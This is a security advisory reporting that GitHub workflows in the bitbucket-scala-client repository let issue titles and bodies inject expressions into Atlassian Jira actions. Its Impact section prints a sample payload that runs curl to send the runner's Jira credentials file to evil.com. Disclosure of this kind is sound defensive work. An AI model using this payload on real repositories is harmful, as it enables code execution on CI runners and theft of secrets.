Summary
Automatic GitHub workflows in bitbucket-scala-client repository are vulnerable to template injection from user comments.
Product
bitbucket-scala-client GitHub repository
Tested Version
Master branch.
Details
Issue: Hidden expression expansion of input parameters passed to atlassian/gajira-create
or atlassian/gajira-comment
Jira Add comment on issue
step in comment_issue.yml, Jira Create issue
step in create_issue.yml and Jira Create issue
step in create_issue_on_label.yml workflows are vulnerable to template injection.
${{ github.event.issue.title }}
,${{ github.event.issue.body }}
and ${{ github.event.comment.body }}
are used to format input values to atlassian/gajira-create(comment)
actions. For example:
on:
issues:
types: [ opened ]
...
uses: atlassian/gajira-create@v2.0.0
with:
summary: "[GH#${{ github.event.issue.number }}] ${{ github.event.issue.title }}"
description: |
${{ github.event.issue.body }}
----
{panel}
_[Github permalink |${{ github.event.issue.html_url }}]_
{panel}
However the Atlassian actions have a hidden feature - they expand {{}}
internally. This way when the issue title or body contains an expression in double curly braces it is evaluated by node.js in these actions.
Impact
This vulnerability allows for arbitrary code execution in the context of GitHub runner. For example a user may create an issue with the title It doesn't work on my machine
and the body
{{ process.mainModule.require('child_process').exec(`curl -d @${process.env.HOME}/.jira.d/credentials http://evil.com`) }}
which will exfiltrate the secret Jira API token to the attacker controlled server. To make the attack less visible an attacker may modify the body of the issue to Never mind my bad.
and close it.
Coordinated Disclosure Timeline
- 10/14/2020: Report sent to vendor
- 10/26/2020: Acknowledged by vendor
- 10/29/2020: Issue resolved
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-178
in any communication regarding this issue.